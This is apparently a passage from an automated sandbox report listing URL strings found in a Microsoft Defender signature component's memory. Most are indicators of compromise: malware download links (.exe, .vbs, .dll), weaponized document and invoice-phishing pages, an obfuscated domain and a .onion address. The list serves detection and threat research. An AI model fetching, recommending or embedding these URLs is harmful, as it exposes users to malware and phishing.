        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://ns33617.ovh.net/~clubregi/cartaoht.exe
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_Error
        Source: MpSigStub.exe, 00000023.00000003.18314518681.0000015B1B7A8000.00000004.00000001.sdmpString found in binary or memory: http://nsis.sf.net/NSIS_Errorx
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://nt010.cn/e/j.js
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://nta.hopto.org/mpa/nd.doc
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmpString found in binary or memory: http://nthnuest.com:40000/tickets
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://ntlligent.info/tds/
        Source: MpSigStub.exe, 00000023.00000003.18424133495.0000015B1C0F0000.00000004.00000001.sdmpString found in binary or memory: http://nutricaoedesenvolvimento.com.br/i/i.sct
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://o%66%66%49%63e%2e%46%41q%53%65%72v.%43%6f%4d/%46%41%51%2e%6a%73
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://o1.o1wy.com/miss/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://o1a.cn/Counter/NewCounter.asp?Param=
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://obscurewax.ru/joystick.js
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://oc6mkf4efqrjp2ue6qp6vmz4ofyjmlo6dtqiklqb2q546bnqeu66tbyd.onion
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://ocean-v.com/wp-content/
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://ocsp.digicert.com0C
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://oddbods.co.uk/D6yd9x/
        Source: MpSigStub.exe, 00000023.00000003.18288248948.0000015B1B1FB000.00000004.00000001.sdmpString found in binary or memory: http://offensiveware.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://office-archive-input.com/scan.wbk?raw=true
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://office-archives.duckdns.org/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://office-cleaner-commander.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://office-cleaner-indexes.com/project.rtf
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://office-cleaner-indexes.com/update.doc
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://office-service-secs.com/blm.task
        Source: MpSigStub.exe, 00000023.00000003.18318671001.0000015B1C4A2000.00000004.00000001.sdmpString found in binary or memory: http://officefiletransferintergration.mangospot.net/..-.............................................
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ogirikidanielifeanyi.com/wp-content/upgrade/neworder.html
        Source: MpSigStub.exe, 00000023.00000003.18345035369.0000015B1B176000.00000004.00000001.sdmpString found in binary or memory: http://ogp.me/ns
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://ogrc.fellatiomovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://old.forwart.ru/paid-invoice-credit-card-receipt/
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://omstreaming.net/omunelegende/xxx.min.js
        Source: MpSigStub.exe, 00000023.00000003.18319632958.0000015B1BDD9000.00000004.00000001.sdmpString found in binary or memory: http://on5.biz/docs/home/
        Source: MpSigStub.exe, 00000023.00000003.18346670516.0000015B1AC31000.00000004.00000001.sdmpString found in binary or memory: http://onecs-live.azureedge.net
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://onedrivenet.xyz/work/30.vbs
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://oneprivatecloudshareandfileprotectagenci.duckdns.org/receipt/invoice_651253.doc
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://online-docu-sign-st.com/yytr.png
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://online-game-group.ru/download.php
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://online-security-center.com/
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://online-stats201.info/ur.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://online.pdf.com.tropicaldesign.com.br/)
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://online2you.org/search.php?sid=1
        Source: MpSigStub.exe, 00000023.00000003.18330938423.0000015B1AA81000.00000004.00000001.sdmpString found in binary or memory: http://onlinesearch4meds.com
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://onlinesecuritynet.com/
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://oo.shmtb.info:888/phone.exe
        Source: MpSigStub.exe, 00000023.00000003.18346827221.0000015B1B1B9000.00000004.00000001.sdmpString found in binary or memory: http://opendownloadmanager.com/privacy-policy.html
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://openopen.usite.pro/b/
        Source: MpSigStub.exe, 00000023.00000003.18434111043.0000015B1AF23000.00000004.00000001.sdmpString found in binary or memory: http://openopen.usite.pro/b/b.ico
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://openym.info/pdf/
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://opercomex.co/wp/wp-includes/images/wlw/don.html)
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://orcult.0lx.net/tcgeneration.htmg
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://os.tiviviv.com/Vittalia/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://os.tiviviv.com/Vittalia/x
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://outfish.bounceme.net/outl.dot
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/1pyr308vbgz)
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/6gex303pfnn)
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/QoHbJ
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/gwzp304opw4)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/gxqw308htwv)
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/qiml30afntj)
        Source: MpSigStub.exe, 00000023.00000003.18324547737.0000015B1B0B1000.00000004.00000001.sdmpString found in binary or memory: http://ow.ly/tdiy30flmvv
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://owwwc.com/mm/
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://p.b69kq.com/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://p.estonine.com
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://p.iask.com/p?k=%s
        Source: MpSigStub.exe, 00000023.00000003.18327508493.0000015B1B6A0000.00000004.00000001.sdmpString found in binary or memory: http://p.k3qh4.com/
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmpString found in binary or memory: http://p.netund.com/go/
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://p.zhongsou.com/p?w=%s
        Source: MpSigStub.exe, 00000023.00000003.18431805767.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://p6920.cloudserver255.com/0az7vjb9jbefbkmu#########
        Source: MpSigStub.exe, 00000023.00000003.18299634028.0000015B1AF1A000.00000004.00000001.sdmpString found in binary or memory: http://packetstorm.securify.com/0010-exploits/unicodexecute2.pl
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://padgettconsultants.ca/tau.gif
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://pads289.net
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://page.zhongsou.com/ps?tps=2&cc=%s&aid=CA%s&w=
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://painel.moboymoboy.site/paste.php?pw=
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://pancern.scotpaker.com.br/busterinjetc.zip
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://pankus.3utilities.com/bars/banner/decipher/preparations/mxdmfq.dot
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://pantscow.ru:8080/vector_graphic.js
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://paparra.net/invoice/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://partners.sena.com/doc/inv-
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://passagensvhc.online/66.rtf
        Source: MpSigStub.exe, 00000023.00000003.18423368163.0000015B1C1B6000.00000004.00000001.sdmpString found in binary or memory: http://pastebin.com/
        Source: MpSigStub.exe, 00000023.00000003.18337818328.0000015B1BB10000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18430797596.0000015B1AE5D000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://pastebin.com/raw/
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://pastebin.com/raw/L774bn1U
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://pastebin.com/raw/L774bn1Ux
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://patriciasmith.co.za/excelfolder/pdffiles)
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://patvenzklito.tk/wp/wp-includes/images/100.png
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://paufderhar07ol.ru.com/bb.html
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://pc-scan-online.com/l2.php?t=
        Source: MpSigStub.exe, 00000023.00000003.18289300479.0000015B1BD55000.00000004.00000001.sdmpString found in binary or memory: http://pcmaticplus.com/success.html
        Source: MpSigStub.exe, 00000023.00000003.18317322207.0000015B1B5DB000.00000004.00000001.sdmpString found in binary or memory: http://pcvark.com
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://perfectequipments.com/bm1/.tmp/.1.jstype=text/javascript
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://persefoni-rooms-toroni.gr/pdf/uzie/actions.php%22%20method%3d%22post
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://petmovea.com
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://pettingmovefilehost.net/movie.php?id=movies_n01.wmv&cid=
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://pettingmovefilehost.net/movie.php?id=movies_n01.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18290355074.0000015B1AEB4000.00000004.00000001.sdmpString found in binary or memory: http://philippelaurent.org/rechnung/
        Source: MpSigStub.exe, 00000023.00000003.18326614272.0000015B1A717000.00000004.00000001.sdmpString found in binary or memory: http://phimshock-share123vn.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18431115827.0000015B1AFEA000.00000004.00000001.sdmpString found in binary or memory: http://pic-pic.pw
        Source: MpSigStub.exe, 00000023.00000003.18290902842.0000015B1BFA6000.00000004.00000001.sdmpString found in binary or memory: http://pic.sogou.com/pics?query=%s
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://picosoftnepal.net/ach-form/
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://pig.zhongsou.com/helpsimple/help.htm
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://pig.zhongsou.com/pig3/dealip.asp?aa=%s&bb=%s
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://pilasto.host/po.exe
        Source: MpSigStub.exe, 00000023.00000003.18313187984.0000015B1B305000.00000004.00000001.sdmpString found in binary or memory: http://pilinno.info/cpi/promo.exe
        Source: MpSigStub.exe, 00000023.00000003.18315964598.0000015B1A481000.00000004.00000001.sdmpString found in binary or memory: http://ping.180solutions.com
        Source: MpSigStub.exe, 00000023.00000003.18297885321.0000015B1B490000.00000004.00000001.sdmpString found in binary or memory: http://ping.bizhi.sogou.com/repair.gif
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://pingakshotechnologies.com/vicaaralife/
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://pirsl.com.au/signatures/new.jpg
        Source: MpSigStub.exe, 00000023.00000003.18334831739.0000015B1A746000.00000004.00000001.sdmpString found in binary or memory: http://pki.digidentity.eu/validatie0
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://pl2.txt.pansy.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://plaintexw.com/xx.dll
        Source: MpSigStub.exe, 00000023.00000003.18428517155.0000015B1C06B000.00000004.00000001.sdmpString found in binary or memory: http://planilha.webcindario.com/planilha
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://play.videosongplayer.com/
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://playboy.com/search?SearchString=
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://playsong.mediasongplayer.com/
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://plet.dk/css/css.css
        Source: MpSigStub.exe, 00000023.00000003.18344667874.0000015B1B06E000.00000004.00000001.sdmpString found in binary or memory: http://plugin-install.info/
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://plugin-installer.com/
        Source: MpSigStub.exe, 00000023.00000003.18289622866.0000015B1BD96000.00000004.00000001.sdmpString found in binary or memory: http://plugin-installer.info/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://plugin.videosraros.info/chrome.xml
        Source: MpSigStub.exe, 00000023.00000003.18349004213.0000015B1A9DB000.00000004.00000001.sdmpString found in binary or memory: http://pluginprovider.com/?rap
        Source: MpSigStub.exe, 00000023.00000003.18309645507.0000015B1A404000.00000004.00000001.sdmpString found in binary or memory: http://pmevents.co.in/nd/index.php)
        Source: MpSigStub.exe, 00000023.00000003.18426889733.0000015B1BBC7000.00000004.00000001.sdmpString found in binary or memory: http://pmxmrnull.dynu.net:
        Source: MpSigStub.exe, 00000023.00000003.18425422653.0000015B1C5EB000.00000004.00000001.sdmpString found in binary or memory: http://pnronline.in/hiu.exe
        Source: MpSigStub.exe, 00000023.00000003.18303445859.0000015B1B86F000.00000004.00000001.sdmpString found in binary or memory: http://policy.camerfirma.com0
        Source: MpSigStub.exe, 00000023.00000003.18349339011.0000015B1A999000.00000004.00000001.sdmpString found in binary or memory: http://polifile.co/
        Source: MpSigStub.exe, 00000023.00000003.18289945062.0000015B1AE5F000.00000004.00000001.sdmpString found in binary or memory: http://polk.freedynamicdns.org/boot/key.html
        Source: MpSigStub.exe, 00000023.00000003.18426595439.0000015B1BB86000.00000004.00000001.sdmpString found in binary or memory: http://pomphrett.co.uk/c7fb/install/language/verouiller.php
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://popall.com/lin/bbs.htm?code=talking&mode=1
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://poppy97.pansy.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18292748067.0000015B1BAC0000.00000004.00000001.sdmpString found in binary or memory: http://portal.usanativ.com/sites/default/files/nativsetup.exe
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://portalconnectme.com/56778786598.doc
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://portoseguropromissao.com.br/wp-content/uploads/revslider/templates/80s/z/z/z/po.zip.php
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://post.medusaranch.com/abonento9.exe
        Source: MpSigStub.exe, 00000023.00000003.18336414128.0000015B1BF22000.00000004.00000001.sdmpString found in binary or memory: http://potosxylogicalnreinforcementagency4thsdy.duckdns.org/document/
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://ppdb2.stifar.ac.id/xwtaxkjqnq/
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://premiumclass.bar/0pzional1a.dll
        Source: MpSigStub.exe, 00000023.00000003.18423819335.0000015B1B1FA000.00000004.00000001.sdmpString found in binary or memory: http://premiumclass.cyou/0pzional1a.dll
        Source: MpSigStub.exe, 00000023.00000003.18426294063.0000015B1BD11000.00000004.00000001.sdmpString found in binary or memory: http://pricklypear.com/adobgran.php
        Source: MpSigStub.exe, 00000023.00000003.18433793263.0000015B1AEE2000.00000004.00000001.sdmpString found in binary or memory: http://primeroute.net/
        Source: MpSigStub.exe, 00000023.00000003.18344475813.0000015B1C1D6000.00000004.00000001.sdmpString found in binary or memory: http://private0091111.duckdns.org/qagj/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://privateinvestigatorkendall.com/fo9cwuvlqwua
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://protect.advancedcleaner.com/MjY5Mw==/2/
        Source: MpSigStub.exe, 00000023.00000003.18313952102.0000015B1B3A0000.00000004.00000001.sdmpString found in binary or memory: http://protect.spyguardpro.com/MTkyNDE=/2/
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://prs.payperdownload.nl
        Source: MpSigStub.exe, 00000023.00000003.18424566697.0000015B1C41E000.00000004.00000001.sdmpString found in binary or memory: http://prs.payperdownload.nl/radius/dialer_admin/geoip
        Source: MpSigStub.exe, 00000023.00000003.18333278800.0000015B1AC5E000.00000004.00000001.sdmpString found in binary or memory: http://prs.payperdownload.nl/radius/dialer_admin/geoip.asp
        Source: MpSigStub.exe, 00000023.00000003.18350085117.0000015B1B6E3000.00000004.00000001.sdmpString found in binary or memory: http://psget.net/GetPsGet.ps1x
        Source: MpSigStub.exe, 00000023.00000003.18432136853.0000015B1BFE7000.00000004.00000001.sdmpString found in binary or memory: http://pssquared.com/invoice-status/tracking-number-and-invoice-of-your-order/
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://psynergi.dk/data
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://ptnetproject.info/yrniii/yrniii/yrniii/yrniii/index.php
        Source: MpSigStub.exe, 00000023.00000003.18433465792.0000015B1B723000.00000004.00000001.sdmpString found in binary or memory: http://pub03832.duckdns.org/rwab/image.png
        Source: MpSigStub.exe, 00000023.00000003.18327176542.0000015B1B61C000.00000004.00000001.sdmpString found in binary or memory: http://pubs.vmware.com
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://pulp99.com/
        Source: MpSigStub.exe, 00000023.00000003.18432465628.0000015B1B9FA000.00000004.00000001.sdmpString found in binary or memory: http://pulp99.com/1.rtf
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://purelyrighteous.com/redirect/amvubmlmzxiubw9uy3jpzwzmqde4mjuuy29t
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://pusat-hacing.blogspot.com/
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://pznjaslo.pl/wp-content/outstanding-invoices/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://q-i-e-n.com/
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://qiiqur.com/frix.exe
        Source: MpSigStub.exe, 00000023.00000003.18322243559.0000015B1A504000.00000004.00000001.sdmpString found in binary or memory: http://quantsa.ru/?de
        Source: MpSigStub.exe, 00000023.00000003.18299377795.0000015B1AEE3000.00000004.00000001.sdmpString found in binary or memory: http://qudaih.com/pzlnkda/nbsa
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://queendrinks.com.ar/open-past-due-orders/
        Source: MpSigStub.exe, 00000023.00000003.18287888120.0000015B1BC0A000.00000004.00000001.sdmpString found in binary or memory: http://quickinstallpack.com/quickinstall/order.php?qad=cln&qld=
        Source: MpSigStub.exe, 00000023.00000003.18298772777.0000015B1A8DA000.00000004.00000001.sdmpString found in binary or memory: http://quickuploader.xyz/Kalkkulerne.exe
        Source: MpSigStub.exe, 00000023.00000003.18429740183.0000015B1B2C1000.00000004.00000001.sdmpString found in binary or memory: http://quince78.cyan.ero0101.com/set_inf.php?id=ero257.wmv&sid=
        Source: MpSigStub.exe, 00000023.00000003.18430078945.0000015B1C0AE000.00000004.00000001.sdmpString found in binary or memory: http://qwuyegasd3edarq6yu.org/mSsQDIMIQ/ind7694GDs/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://r%d.clrsch.com/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://r%d.clrsch.com/ie/
        Source: MpSigStub.exe, 00000023.00000003.18321417418.0000015B1B6C0000.00000004.00000001.sdmpString found in binary or memory: http://r%d.clrsch.com/x
        Source: MpSigStub.exe, 00000023.00000003.18286213062.0000015B1A381000.00000004.00000001.sdmpString found in binary or memory: http://r.funmoods.com//
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://r3.o.lencr.org/
        Source: MpSigStub.exe, 00000023.00000003.18329049691.0000015B1ABCB000.00000004.00000001.sdmpString found in binary or memory: http://raa.qwepoii.org/v4/gtg/
        Source: MpSigStub.exe, 00000023.00000003.18433124639.0000015B1B6E2000.00000004.00000001.sdmpString found in binary or memory: http://raggina.space/bc855646d052/spool/boot/acxbbz.dot
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://randominterest.com/
        Source: MpSigStub.exe, 00000023.00000003.18293334552.0000015B1BC8E000.00000004.00000001.sdmpString found in binary or memory: http://rapidshare.com/files/
        Source: MpSigStub.exe, 00000023.00000003.18427547415.0000015B1B8F2000.00000004.00000001.sdmpString found in binary or memory: http://rbmllp.com/member.php
        Source: MpSigStub.exe, 00000023.00000003.18292431996.0000015B1BA3D000.00000004.00000001.sdmpString found in binary or memory: http://readlenta.ru/
        Source: MpSigStub.exe, 00000023.00000003.18424989390.0000015B1C5AA000.00000004.00000001.sdmpString found in binary or memory: http://rebrand.ly/ohxnqak
        Source: MpSigStub.exe, 00000023.00000003.18335134155.0000015B1A914000.00000004.00000001.sdmp, MpSigStub.exe, 00000023.00000003.18339677269.0000015B1AB04000.00000004.00000001.sdmpString found in binary or memory: http://recoverpcerror.com/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://redirect.sarahwilkesphotography.co.uk)
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://redirsystem32.com
        Source: MpSigStub.exe, 00000023.00000003.18316847212.0000015B1B582000.00000004.00000001.sdmpString found in binary or memory: http://redirsystem32.com/tds1/in.cgi?2&group=mp3
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://redlogisticsmaroc.com/
        Source: MpSigStub.exe, 00000023.00000003.18427841372.0000015B1B933000.00000004.00000001.sdmpString found in binary or memory: http://redlogisticsmaroc.com/ti/doc/
        Source: MpSigStub.exe, 00000023.00000003.18428156417.0000015B1C02A000.00000004.00000001.sdmpString found in binary or memory: http://reefer.parts/js/lib/)
        Source: MpSigStub.exe, 00000023.00000003.18429220503.0000015B1A3C2000.00000004.00000001.sdmpString found in binary or memory: http://referfile.com
        Source: MpSigStub.exe, 00000023.00000003.18322924550.0000015B1B0F3000.00000004.00000001.sdmpString found in binary or memory: http://refud.me/scan.php
